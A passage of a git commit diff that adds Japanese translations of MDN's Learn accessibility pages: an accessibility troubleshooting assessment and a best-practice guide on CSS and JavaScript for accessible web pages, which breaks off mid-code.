diff options
| author | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:40:17 -0500 |
|---|---|---|
| committer | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:40:17 -0500 |
| commit | 33058f2b292b3a581333bdfb21b8f671898c5060 (patch) | |
| tree | 51c3e392513ec574331b2d3f85c394445ea803c6 /files/ja/learn | |
| parent | 8b66d724f7caf0157093fb09cfec8fbd0c6ad50a (diff) | |
| download | translated-content-33058f2b292b3a581333bdfb21b8f671898c5060.tar.gz translated-content-33058f2b292b3a581333bdfb21b8f671898c5060.tar.bz2 translated-content-33058f2b292b3a581333bdfb21b8f671898c5060.zip | |
initial commit
Diffstat (limited to 'files/ja/learn')
240 files changed, 68185 insertions, 0 deletions
diff --git a/files/ja/learn/accessibility/accessibility_troubleshooting/index.html b/files/ja/learn/accessibility/accessibility_troubleshooting/index.html new file mode 100644 index 0000000000..a43b4a509b --- /dev/null +++ b/files/ja/learn/accessibility/accessibility_troubleshooting/index.html @@ -0,0 +1,129 @@ +--- +title: '評価: アクセシビリティのトラブルシューティング' +slug: Learn/Accessibility/Accessibility_troubleshooting +tags: + - Accessibility + - Assesment + - Beginner + - CSS + - CodingScripting + - HTML + - JavaScript + - Learn + - WAI-ARIA +translation_of: Learn/Accessibility/Accessibility_troubleshooting +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}}</div> + +<p class="summary">このモジュールの評価では、あなたが診断、修正するべきいくつかのアクセシビリティの問題を持った簡単なサイトを表示します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピューターの知識、HTML、CSS、JavaScript に対する基本的な理解、<a href="/ja/docs/Learn/Accessibility">このコースのこれまでの記事</a>への理解。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>アクセシビリティの基礎に対する基本的な知識をテストすること。</td> + </tr> + </tbody> +</table> + +<h2 id="Starting_point" name="Starting_point">開始地点</h2> + +<p>評価を始めるために、<a href="https://github.com/mdn/learning-area/blob/master/accessibility/assessment-start/assessment-files.zip?raw=true">例を含むファイルの ZIP</a> を取得してください。あなたのコンピューターのいずれかのディレクトリーにそのコンテンツを解凍してください。</p> + +<p>あるいは、<a class="external external-icon" href="http://jsbin.com/">JSBin</a> や <a href="https://glitch.com/">Glitch</a> のようなサイトを使って試験できます。HTML, CSS, JavaScript をオンラインエディターのいずれかにペーストします。もし使っているオンラインエディターに個別の CSS/JS パネルがない場合、適当な <code><style></code> / <code><script></code> 要素内に置いて下さい。</p> + +<p>解凍が完了した評価サイトは次のように見えるはずです:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14555/assessment-site-finished.png" style="border-style: solid; border-width: 1px; display: block; height: 457px; margin: 0px auto; width: 800px;"></p> + +<p>この評価の開始時点であなたがサイトを表示したとき、いくつかの違いや問題を見つけることでしょう。これは主にマークアップ中の違いが原因であり、CSS が正しく適用されずにスタイリングの問題を引き起こしています。心配しないでください。以降の節でそれらの問題を修正します！</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: もし行き詰まって助けを求める場合 — ページ最下部の {{anch("Assessment or further help")}} セクションを見てください。</p> +</div> + +<h2 id="Project_brief" name="Project_brief">プロジェクトの概要</h2> + +<p>このプロジェクトでは、熊の「事実」に関する記事を表示する架空の自然のサイトが表示されます。現状では、これはいくつものアクセシビリティの問題を持っています。あなたの仕事は現状のサイトを見て、全力を尽くして修正し、以下の質問に答えることです。 </p> + +<h3 id="Color" name="Color">色</h3> + +<p>テキストは現在のカラースキームのせいで読みづらくなっています。現状のカラーコントラスト (テキスト/背景) をテストして、テストの結果を報告し、割り当てられた色を変更して修正できますか？</p> + +<h3 id="Semantic_HTML" name="Semantic_HTML">セマンティック HTML</h3> + +<ol> + <li>コンテンツはまだあまりアクセシブルではありません。スクリーンリーダーを使ってナビゲートしようとしたとき、何が起こるか報告してください。</li> + <li>スクリーンリーダーのユーザーがナビゲートしやすいように、記事のテキストを変更できますか？</li> + <li>サイトのナビゲーションメニュー ( <code><div class="nav"></div></code> で囲まれた部分) は正しい HTML5 セマンティック要素の中に入れることでよりアクセシブルになったかもしれません。どれを変更する必要がありますか？変更してください。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: タグをスタイル付けする CSS ルールセレクターは、セマンティック見出しのために適切に変更する必要があります。<font>パラグラフ要素を加えると、スタイルもより良く見えることに気がつくでしょう。</font></p> +</div> + +<h3 id="The_images" name="The_images"><font>画像</font></h3> + +<p><font>現状の画像はスクリーンリーダーのユーザーにとってアクセシブルではありません。修正できますか？</font></p> + +<h3 id="The_audio_player" name="The_audio_player"><font>オーディオプレイヤー</font></h3> + +<ol> + <li><font><code><audio></code> プレイヤーは聴覚障害者にとってアクセシブルではありません</font>。それらのユーザーのために何らかのアクセシブルな代替手段を加えることができますか？</li> + <li><font><code><audio></code> プレイヤーは、HTML5 をサポートしていない古いブラウザーを使用しているユーザーにとってアクセシブルではありません。彼らに対してどのようにオーディオにアクセスさせることができますか？</font></li> +</ol> + +<h3 id="The_forms" name="The_forms"><font>フォーム</font></h3> + +<ol> + <li><font>トップにある検索フォームの <code><input></code> 要素はラベルとともに使用できるかもしれませんが、表示されるテキストを追加するとデザインを悪化させる可能性がありますし、視覚に問題のないユーザーにとってはあまり必要ありません。スクリーンリーダーにのみアクセシブルなラベルをどうやって追加すればいいでしょう？</font></li> + <li><font>コメントフォームの中の 2 つの <code><input></code> 要素は表示されるテキストラベルを含んでいますが、それらのラベルと明確に関連付けられていません。どのように関連付けますか？いくつかの CSS ルールも修正しなければいけない点に注意してください。</font></li> +</ol> + +<h3 id="The_showhide_comment_control" name="The_showhide_comment_control"><font>コメント show/hide 制御</font></h3> + +<p><font>現状のコメント show/hide 制御ボタンは、キーボードからアクセスすることができません。タブキーによるフォーカス、リターンキーによる有効化という形で、キーボードをアクセシブルにすることができますか？</font></p> + +<h3 id="The_table" name="The_table"><font>テーブル</font></h3> + +<p><font>現状のデータテーブルはあまりアクセシブルではありません。スクリーンリーダーのユーザーにとって行と列を関連付けることは難しく、またテーブルが何を示しているのかを明確にする概要もありません。この問題を解決するために何らかの機能を HTML に追加することはできますか？</font></p> + +<h3 id="Other_considerations" name="Other_considerations"><font>他には？</font></h3> + +<p><font>このウェブサイトをよりアクセシブルにする 2 つ以上の改善アイデアを挙げることができますか？</font></p> + +<h2 id="Assessment_or_further_help" name="Assessment_or_further_help"><font>評価とヒント</font></h2> + +<p><font>あなたの作業を教師やメンターに渡して採点してもらったり、行き詰まってヒントが欲しい場合は次のようにしてください:</font></p> + +<ol> + <li>成果をオンラインで共有できるエディター、例えば <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, <a href="https://glitch.com/">Glitch</a> に置きます。</li> + <li>採点や手助けのための投稿を <a href="https://discourse.mozilla.org/c/mdn/learn">MDN Discourse forum Learning category</a> に書いてください。投稿には次のものを(英語で)入れて下さい: + <ul> + <li>"Assessment wanted for Accessibility troubleshooting"のような説明的なタイトル。</li> + <li>何を試して、どうしてほしいのかの詳細。つまり行き詰まって助けてほしいのか、採点評価してほしいのか。</li> + <li>オンラインで共有できるエディター (上記ステップ 1 で触れたもの)での例のリンク。これは身につけるとよい習慣です — コーティングの問題を、他の人がコードを見ずに助けるのは困難です。</li> + <li>助けてもらいたい問題が見つかるような、タスクや評価のページのリンク</li> + </ul> + </li> +</ol> + +<p><font>{{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}}</font></p> + +<h2 id="このモジュール内">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Accessibility/What_is_accessibility">アクセシビリティとは？</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Accessibility/HTML">HTML: アクセシビリティの基礎</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Accessibility/CSS_and_JavaScript">CSS と JavaScript のアクセシビリティ成功事例</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Accessibility/WAI-ARIA_basics" rel="nofollow">WAI-ARIA の基本</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Accessibility/Multimedia" rel="nofollow">アクセシブルなマルチメディア</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Accessibility/Mobile" rel="nofollow">モバイルアクセシビリティ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Accessibility/Accessibility_troubleshooting" rel="nofollow">アクセシビリティのトラブルシューティング</a></li> +</ul> diff --git a/files/ja/learn/accessibility/css_and_javascript/index.html b/files/ja/learn/accessibility/css_and_javascript/index.html new file mode 100644 index 0000000000..76ea71cce1 --- /dev/null +++ b/files/ja/learn/accessibility/css_and_javascript/index.html @@ -0,0 +1,373 @@ +--- +title: CSS と JavaScript のアクセシビリティの ベスト・プラクティス +slug: Learn/Accessibility/CSS_and_JavaScript +tags: + - Accessibility + - Article + - CSS + - CodingScripting + - Guide + - JavaScript + - Learn + - color + - contrast + - hiding + - unobtrusive + - ひかえめ + - アクセシビリティ + - ガイド + - コントラスト + - 学習 + - 色 + - 隠す +translation_of: Learn/Accessibility/CSS_and_JavaScript +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}</div> + +<p class="summary">CSS と JavaScript も、適切に使えばアクセシブルなウェブ体験を可能にしてくれる可能性がありますが、誤用すると、大幅にアクセシビリティを悪化させることがあります。本記事では、複雑なコンテンツでもできる限りアクセシブルにすることを保証するために考慮すべき、CSS と JavaScript のベスト・プラクティスのいくつかを概観します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピューターの知識、HTML と CSS と JavaScript に関する基本的な理解、<a href="/ja/docs/Learn/Accessibility/What_is_accessibility">アクセシビリティとは何か</a>に関する理解。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>アクセシビリティを損わず、最大化するように、自身のウェブドキュメントで CSS と JavaScript を適切に使うことに慣れること。</td> + </tr> + </tbody> +</table> + +<h2 id="CSS_and_JavaScript_are_accessible" name="CSS_and_JavaScript_are_accessible">CSS と JavaScript はアクセシブルなの?</h2> + +<p>CSS と JavaScript は、アクセシビリティに関して HTML と同じだけの直接的重要性があるわけではありません。ですが、それでも使い方によっては、アクセシビリティを高めることも損うこともありえます。別の言葉で言うと、自分の CSS と JavaScript の使い方によってドキュメントのアクセシビリティを台無しにしていないと確認するために、いくつかのベスト・プラクティスを考慮することが重要です。</p> + +<h2 id="CSS" name="CSS">CSS</h2> + +<p>CSS を見ることから始めましょう。</p> + +<h3 id="Correct_semantics_and_user_expectation" name="Correct_semantics_and_user_expectation">正しいセマンティクスと、ユーザの予期すること</h3> + +<p>CSS を使って、どのような HTML 要素を<em>どのように</em>見せかけることも可能です。しかし、このことは、そうすべきだと意味しているわけではありません。「<a href="/ja/docs/Learn/Accessibility/HTML">HTML: アクセシビリティの基礎</a>」という記事でしばしば述べたように、可能な場合にはいつでも、役割にふさわしい意味の要素を使うべきです。そうしないと、混乱を巻き起こしかねませんし、あらゆる人にとっての——とりわけ障碍のあるユーザーにとっての——使い勝手の問題を引き起こしかねません。正しいセマンティクスを使うことは、ユーザーの予期することと大いに関係があります。つまり、要素とは、その機能にしたがって、特定の見かけをしており特定のふるまいをするものであり、こうした通常の慣習をユーザーは予期するものなのです。</p> + +<p>一例として、開発者が見出し要素を適切に使ってコンテンツをマークアップしていなかった場合には、スクリーン・リーダーのユーザーは、見出し要素を通じてページの見通しを得ることができないでしょう。同様に、見出しのようには見えないように見出しにスタイルをつけた場合には、見出しは視覚的な目的を失ってしまいます。</p> + +<p>大まかな目安はこうです。つまり、自分のデザインに合わせるように、ページ項目のスタイル付けを更新するのは構いません。しかし、その項目が予期されるのとは全然違う見かけになったり、予期されるのとは全然違うふるまいをしたりするほど大幅にスタイル付けを変えてはいけません。以下の節では、考慮すべき主な HTML 項目について概説します。</p> + +<h4 id="Standard_text_content_structure" name="Standard_text_content_structure">「標準的」なテキストコンテンツ構造</h4> + +<p>見出し、段落、リスト——これらは、ページの中心的テキストコンテンツです。</p> + +<pre class="brush: html"><h1>見出し</h1> + +<p>段落</p> + +<ul> + <li>わたしのリストには</li> + <li>二つの項目があるよ。</li> +</ul></pre> + +<p>ある種の典型的な CSS は以下のようなものかもしれません。</p> + +<pre class="brush: css">h1 { + font-size: 5rem; +} + +p, li { + line-height: 1.5; + font-size: 1.6rem; +}</pre> + +<p>なすべきことは以下の通りです。</p> + +<ul> + <li>文章を筋道立っていて判読可能で心地よく読めるものにするために、フォントサイズや行高や文字間隔などは、分別のあるものを選びましょう。</li> + <li>見出しが本文と区別できる (典型的には、デフォルトのスタイル付けと同様に、大きくて太い文字になっている) ようにしましょう。リストは、リストであるように見えるべきです。</li> + <li>テキストの色は、背景色と十分に異なっているべきです。</li> +</ul> + +<p>より詳しくは、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML テキストの基礎</a>と<a href="/ja/docs/Learn/CSS/Styling_text">テキストのスタイリング</a>を参照してください。</p> + +<h4 id="Emphasised_text" name="Emphasised_text">強調したテキスト</h4> + +<p>囲んでいるテキストに対して特定の強調を与えるインライン・マークアップは、たとえば以下のようなものです。</p> + +<pre class="brush: html"><p>そのお湯は<em>とても熱いよ</em>。</p> + +<p>表面に集まる水滴は、<strong>結露</strong>と呼ばれます。</p></pre> + +<p>強調したテキストに対して、なんらかの単純な色付けを加えたいかもしれません。</p> + +<pre class="brush: css">strong, em { + color: #a60000; +}</pre> + +<p>けれども、なんらかの目立つ方法で強調要素をスタイル付けする必要はめったにないでしょう。太字とイタリック体のテキストという標準的慣習はとても認識しやすく、そのスタイルを変更することは混乱を招きかねません。強調についてのさらなる情報は、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">強調と重要性</a>を参照してください。</p> + +<h4 id="Abbreviations" name="Abbreviations">略語</h4> + +<p>略語、頭文字語、つまり頭文字で表したものを、その展開形と関連付けることを可能とする要素は、たとえば以下のようなものです。</p> + +<pre class="brush: html"><p>ウェブ・コンテンツは、<abbr title="Hypertext Markup Language">HTML</abbr>を使ってマークアップされています。</p></pre> + +<p>この場合も、なんらかの単純な方法でスタイルを付けたいかもしれません。</p> + +<pre class="brush: css">abbr { + color: #a60000; +}</pre> + +<p>略語に対する公認のスタイル付けの慣習は、点線の下線です。そして、点線の下線から大きく逸脱するのは愚かしいことです。略語についてのさらなる情報は、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations">略語</a>を参照してください。</p> + +<h4 id="Links" name="Links">リンク</h4> + +<p>ハイパーリンク——ウェブ上の新たな場所に行く方法——は、たとえば以下のようなものです。</p> + +<pre class="brush: html"><p><a href="https://www.mozilla.org">Mozilla のホームページ</a>に来てくださいね。</p></pre> + +<p>ある種のとても簡単なリンクのスタイル付けを以下に示します。</p> + +<pre class="brush: css">a { + color: #ff0000; +} + +a:hover, a:visited, a:focus { + color: #a60000; + text-decoration: none; +} + +a:active { + color: #000000; + background-color: #a60000; +}</pre> + +<p>標準的なリンクの慣習は、下線を引いた、標準状態とは異なる色 (デフォルトは青) と、そのリンクを以前にたどったことがある場合の別の色変化 (デフォルトは紫) と、そのリンクがアクティブになっている場合のさらに別の色 (デフォルトは赤) です。さらに、リンクにマウスオーバーした場合には、マウスポインターがポインターアイコンに変化しますし、リンクは、(たとえばタブキーを押して) フォーカスが当たったり、アクティブ化されたりすると、ハイライトされます。以下の画像は、Firefox でのハイライト (点線の輪郭線) と Chrome でのハイライト (青い輪郭線) の双方を示したものです。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14371/focus-highlight-firefox.png" style="display: block; height: 173px; margin: 0px auto; width: 319px;"></p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14369/focus-highlight-chrome.png" style="display: block; height: 169px; margin: 0px auto; width: 309px;"></p> + +<p>ユーザーがリンクを対話的に操作する際にユーザーに対してフィードバックを与え続ける限りは、リンクのスタイルに関して創造性を発揮して構いません。状態が変化する際には何かが明確に生じるべきであり、かつ、ポインターカーソルも輪郭線も——この両者は、キーボード・コントロールを使う人々にとって非常に重要なアクセシビリティの助けなのです——除去するべきではありませんが。</p> + +<h4 id="Form_elements" name="Form_elements">フォーム要素</h4> + +<p>ユーザーがウェブサイトにデータを入力できるようにする要素であり、たとえば以下のようなものです。</p> + +<pre class="brush: html"><div> + <label for="name">お名前を入力してください</label> + <input type="text" id="name" name="name"> +</div></pre> + +<p><a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-css.html">form-css.html</a> の例 (<a href="http://mdn.github.io/learning-area/accessibility/css/form-css.html">ライブも見てください</a>) において、ある種の適切な例示的 CSS が見られます。</p> + +<p>フォーム用に書く CSS のほとんどは、要素のサイズを変更したり、ラベルと入力欄を整列したり、それらをすっきり整えたりするためのものでしょう。</p> + +<p>ですが、フォーム要素にフォーカスが当たったときにそのフォーム要素が受けとる、予期された視覚的フィードバックからは、逸脱しすぎるべきではありません。そのことは、リンクの場合 (上記参照) と基本的に同様です。フォームのフォーカス / ホバー状態に対してスタイルを付けて、このふるまいがブラウザ間でより首尾一貫したものとなるようにしてもよいでしょうし、あるいは、自分のページ・デザインとより良く適合するようにしてもよいでしょう。しかし、予期される視覚的フィードバックをすべて捨て去ってはなりません。再び言いますが、これらの手がかりが、何が起きているのかを知る手助けになってくれるだろう、と人々は当てにしているのです。</p> + +<h4 id="Tables" name="Tables">テーブル</h4> + +<p>表データを提示するためのテーブルです。</p> + +<p><a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/table-css.html">table-css.html</a> の例 (<a href="http://mdn.github.io/learning-area/accessibility/css/table-css.html">ライブも見てください</a>) において、テーブルの HTML と CSS の、適切で簡潔な例を見られます。</p> + +<p>テーブル CSS は一般に、テーブルを自分のデザインによりうまく適合させて、見苦しさを減らすのに役立ちます。テーブルの見出しが目立つようにすること (普通は太字を使います)、異なる行同士が見分けやすいようにシマウマ的配色を使うことは、良い考えです。</p> + +<h3 id="Color_and_color_contrast" name="Color_and_color_contrast">色とそのコントラスト</h3> + +<p>自分のウェブサイト用のカラー・スキームを選ぶときには、テキスト (前景) の色が背景色と十分に差があることを確認してください。あなたのデザインはかっこよく見えるかもしれませんが、もし色盲などの視覚障碍のある人々がコンテンツを読めなかったら、まったく良いデザインではありません。</p> + +<p>問題を起こさない程度に十分にコントラストが大きいかどうかを調べる簡単な方法があります。前景色と背景色を入力して調べることができる、コントラストのチェック用ツールが、オンライン上にいくつもあります。たとえば、WebAIM の <a href="http://webaim.org/resources/contrastchecker/">Color Contrast Checker</a> は、簡単に使えますし、色のコントラストに関して WCAG の基準に適合するためには何を行えば良いのかについて、説明もしてくれます。</p> + +<div class="note"> +<p><strong>注意</strong>: コントラスト比を高くすることによって、光沢のある画面のスマートフォンまたはタブレットを使う人が陽光のような明るい環境でページを読みやすくもなるでしょう。</p> +</div> + +<p>もう一つ別のコツは、標識や案内について色だけに頼らないことです。というのも、色だけに頼るのは、色が見えない人々にとってまったく良くないからです。必須のフォーム・フィールドを赤でマークする代わりに、たとえば、アスタリスクと赤でマークしましょう。</p> + +<h3 id="Hiding_things" name="Hiding_things">ものごとを隠す</h3> + +<p>すべてのコンテンツをいちどきに示さないことを視覚的デザインが求めているような、多くの事例があります。たとえば、<a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">Tabbed info box example</a> の例 (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">ソースコード</a>を参照) では、三つの情報パネルがありますが、それらをお互いの上に<a href="/ja//docs/Learn/CSS/CSS_layout/Positioning">配置</a>しており、クリックするとそれぞれの情報パネルを表示できるタブを設けています (これはキーボード・アクセシブルでもあります。つまり、情報パネルを選ぶのに、クリックする代わりに、タブキーとエンターキー / リターンキーとを使うこともできます)。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13368/tabbed-info-box.png" style="display: block; height: 400px; margin: 0px auto; width: 450px;"></p> + +<p>スクリーン・リーダーのユーザーは、こうしたことは何も気にしません。ソースの順序が意味をなしている限りはコンテンツに満足しますし、コンテンツすべてに到達できます。(この例で使われているような) 絶対的な位置指定は、一般的に、視覚効果のためにコンテンツを隠す最善の仕組みの一つとして見られるものです。なぜなら、これは、スクリーン・リーダーがコンテンツに到達するの邪魔しないからです。</p> + +<p>一方で、 {{cssxref("visibility")}}<code>:hidden</code> も {{cssxref("display")}}<code>:none</code> も、スクリーン・リーダーからコンテンツを隠してしまうので、使うべきではありません。もちろん、スクリーン・リーダーからこのコンテンツを隠したいと思う然るべき理由がない限りは、ということですが。</p> + +<div class="note"> +<p><strong>注意</strong>: <span class="subtitle"><a href="http://webaim.org/techniques/css/invisiblecontent/">Invisible Content Just for Screen Reader Users</a> </span>には、この話題をめぐる多くのさらに有用な詳細があります。</p> +</div> + +<h3 id="ユーザーがスタイルを上書きできることを受け入れる">ユーザーがスタイルを上書きできることを受け入れる</h3> + +<h4 id="Accept_that_users_can_override_your_styles" name="Accept_that_users_can_override_your_styles">ユーザーがスタイルを上書きできることを受け入れる</h4> + +<p>ユーザーは、自分のカスタム・スタイルでスタイルを上書きできます。たとえば以下のとおりです。</p> + +<ul> + <li>Firefox において手動でスタイルを上書きする方法を含む有用なガイドとしては、 Sarah Maddox の <a class="external external-icon" href="https://www.itsupportguides.com/computer-accessibility/how-to-use-a-custom-style-sheet-css-with-firefox/" rel="noopener">How to use a custom style sheet (CSS) with Firefox</a> を参照のこと。同等な IE の命令については、Adrian Gordon による <a href="https://www.itsupportguides.com/computer-accessibility/how-to-use-a-custom-style-sheet-css-with-internet-explorer/">How to use a custom style sheet (CSS) with Internet Explorer</a> を参照のこと。</li> + <li>拡張機能を使ってスタイルを上書きするのは、おそらくもっと簡単です。たとえば、<a href="https://addons.mozilla.org/en-US/firefox/addon/stylish/">Firefox</a> 用、<a href="https://safari-extensions.apple.com/details/?id=com.sobolev.stylish-5555L95H45">Safari</a> 用、<a href="https://addons.opera.com/en/extensions/details/stylish/">Opera</a> 用、<a href="https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe">Chrome</a> 用の Stylish という拡張機能が利用できます。</li> +</ul> + +<p>ユーザーは様々な理由から、スタイルの上書きを行うかもしれません。視覚障碍のあるユーザーは、すべての訪問先のウェブサイトでテキストを大きくしたいかもしれませんし、あるいは、重度の色覚障碍のあるユーザーは、すべてのウェブサイトを自分でも見やすい高コントラストの色にしたいかもしれません。その必要性がいかなるものであるにせよ、(スタイルの上書きという) この事態にはなじんでおくべきですし、そうした変更が自分のデザインにおいてうまく機能するように、自分のデザインを十分に柔軟なものとしておくべきです。例として、主なコンテンツ領域がより大きいテキストを扱えて (その領域は、全体を見られるようにスクロールし始めるかもしれません)、ただ隠したり完全に破綻したりしないように、気をつけると良いでしょう。</p> + +<h2 id="JavaScript" name="JavaScript">JavaScript</h2> + +<p>JavaScript も、その使い方によっては、アクセシビリティをぶち壊しにする可能性があります。</p> + +<p>モダンな JavaScript は強力な言語です。簡単なコンテンツと UI の更新から、本格的な 2D ゲームや 3D ゲームに至るまで、近頃では JavaScript を使ってとても多くのことができます。すべてのコンテンツがすべての人々にとって 100% アクセシブルであるべきだ、といった決まりはありません。自分にできることをし、自分のアプリをできる限りアクセシブルにする必要があるだけなのです。</p> + +<p>単純なコンテンツと機能——たとえば、テキスト、画像、テーブル、フォーム、関数を起動する押しボタン——は、まず間違いなく、アクセシブルにするのが簡単です。<a href="/ja/docs/Learn/Accessibility/HTML">HTML: アクセシビリティの基礎</a> の記事で見たように、考慮すべき重要な事項は以下のとおりです。</p> + +<ul> + <li>良いセマンティクス: ふさわしい要素をふさわしい役割に使うこと。たとえば、見出しと段落を使い、{{htmlelement("button")}} 要素と {{htmlelement("a")}} 要素を使うようにします。</li> + <li>コンテンツを、テキストとして利用可能にすること——テキスト・コンテンツや、フォーム要素に対する適切なテキスト・ラベルの形で、直接的に利用可能とするか、あるいは、たとえば画像に対する alt テキストのような<a href="/ja/docs/Learn/Accessibility/HTML#Text_alternatives">代替テキスト</a>として、利用可能にすること。</li> +</ul> + +<p>機能が欠けているところに機能を盛り込むように JavaScript を使う方法の例も見ました (<a href="/ja/docs/Learn/Accessibility/HTML#Building_keyboard_accessibility_back_in">Building keyboard accessibility back in</a> を参照)。この例は理想的ではありません。実際、ただふさわしい要素をふさわしい役割に使うべきなのです。が、この例は、使われるマークアップを何らかの理由で統制できない状況においては、こうしたこともあり得るのだと示しています。非意味的な、JavaScript で実装されたウィジェットについて、アクセシビリティを向上させる別の方法は、WAI-ARIA を用いて追加的なセマンティクスをスクリーン・リーダーのユーザーに提供することです。次の記事では、このことも詳しく扱います。</p> + +<p>3D ゲームのような複雑な機能は、アクセシブルにするのがそう簡単ではありません。<a href="/ja/docs/Web/API/WebGL_API">WebGL</a> を使って作られた複雑な 3D ゲームは {{htmlelement("canvas")}} 要素上に描画されるでしょうが、今のところ {{htmlelement("canvas")}} 要素には、重度の視覚障碍のあるユーザーが利用できるように代替テキストもしくは他の情報を提供する手段がないのです。 そうしたゲームは、こうした人々のグループを実際に主要な対象者の一部としてはいないのだ、というのはもっともです。それに、そのゲームを、目の見えない人々にとって 100% アクセシブルにせよ、と期待するのも不合理でしょう。しかし、マウスを使わないユーザーにとって利用可能なように<a href="/ja/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard">キーボード・コントロール</a>を実装することや、 色覚障碍のある人々にとって利用可能なようにカラー・スキームに十分なコントラストを持たせることならできるでしょう。</p> + +<h3 id="The_problem_with_too_much_JavaScript" name="The_problem_with_too_much_JavaScript">過度の JavaScript にともなう問題</h3> + +<p>JavaScript に頼りすぎると、しばしば問題が起きます。ときどき、何でもかんでも JavaScript で行われたウェブサイト—— HTML が JavaScript により生成され、CSS が JavaScript により生成され、といった調子のもの——を見るでしょう。これには、あらゆる種類のアクセシビリティの問題および付随するその他の問題があり、お勧めできません。</p> + +<p>ふさわしい役割にふさわしい要素を使うのと同様に、ふさわしい役割にふさわしい技術を使っていることも確認しておくべきです! JavaScript で実装されたキラキラの 3D 情報ボックスが必要なのか、あるいは、プレーンな古めかしいテキストでも用が足りそうか、ということについて注意深く考えてください。複雑で非標準的なフォーム・ウィジェットが必要なのか、あるいは、テキスト入力でも用が足りそうか、ということについて注意深く考えてください。そして、とにかく可能な場合に JavaScript を使ってすべての HTML コンテンツを生成する、などということはしないでください。</p> + +<h3 id="Keeping_it_unobtrusive" name="Keeping_it_unobtrusive">ひかえめに保つこと</h3> + +<p>コンテンツを作るときには、<strong>ひかえめな (unobtrusive) JavaScript</strong> を心に留めておくべきです。ひかえめな JavaScript という考え方は、次のようなものです。すなわち、機能を拡張できるところならどこでも使うべきだけれども、機能を盛り込むためにはまったく使うべきではない——基本的機能は JavaScript なしでも理想的には動くはずなのだから。もっとも、これが常に選択できるとは限らないことはよく理解されているのですが。しかし再び言いますが、この考えの大部分を占めるのは、可能な箇所ではブラウザーの組み込み機能を使うということです。</p> + +<p>ひかえめな JavaScript の適切な使用例には、次のものが含まれます。</p> + +<ul> + <li>クライアントサイドのフォーム検査を提供すること。これは、サーバーがデータを調べるのを待つ必要なしに、フォーム入力にともなう問題をユーザーに対して素早く警告してくれます。もしクライアントサイドのフォーム検査が利用できなくても、フォームは依然として動作するでしょうが、検査は遅くなるかもしれません。</li> + <li>キーボードのみのユーザーにとってアクセシブルな 、HTML5 <code><video></code> 用のカスタム・コントロールを提供すること。それとともに、JavaScript が利用できない場合にその動画にアクセスするのに使える、動画への直接リンクも提供すること (ほとんどのブラウザでは、デフォルトの <code><video></code> ブラウザ・コントロールは、キーボード・アクセシブルではありません)。</li> +</ul> + +<p id="Client-side_form_validation">一例として、やっつけ仕事のクライアントサイドのフォーム検査の例を書きました。<a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-validation.html">form-validation.html</a> を参照してください (<a href="http://mdn.github.io/learning-area/accessibility/css/form-validation.html">demo live</a> も参照してください). ここでは、単純なフォームが見えます。一方または双方のフィールドを空にしたままフォームを送信しようとすると、送信が失敗し、エラーメッセージ・ボックスが現れて、何が間違っているのかを教えてくれます。</p> + +<p>この種のフォーム検査はひかえめです。JavaScript が利用できなくても、依然としてまったく申し分なくフォームを使えます。それに、分別のあるフォームの実装なら何であれ、サーバーサイドの検査も作動させておくことでしょう。なぜなら、悪意のあるユーザーがクライアントサイドの検査を (たとえば、ブラウザで JavaScript をオフにしておくことによって) 迂回することは、あまりに容易だからです。クライアントサイドの検査は、それでも実際に、エラーを報告するためには有用なのです。ユーザーは、自分のおかした間違いについて、サーバーまでのラウンドトリップおよびページリロードを待つ必要なしに、すぐに知ることができます。これは使い勝手の上での明らかな利点です。</p> + +<div class="note"> +<p><strong>注意</strong>: この単純なデモではサーバーサイドの検査を実装しませんでした。</p> +</div> + +<p>このフォーム検査も、とてもアクセシブルにしておきました。{{htmlelement("label")}} 要素を用いて、フォーム・ラベルがそのラベルの入力欄に曖昧な点なしに紐付けられるようにして、それによってスクリーン・リーダーがラベルを一緒に読み上げられるようにしました。</p> + +<pre class="brush: html"><label for="name">お名前を入力してください (Enter your name):</label> +<input type="text" name="name" id="name"></pre> + +<p>フォームが送信されるときにだけ検査をしています。これは、UI をあまりに頻繁に更新しないようにするため、そして、スクリーン・リーダーのユーザーを (また、おそらくは他のユーザーも) 潜在的に混乱させることがないようにするためです。</p> + +<pre class="brush: js">form.onsubmit = 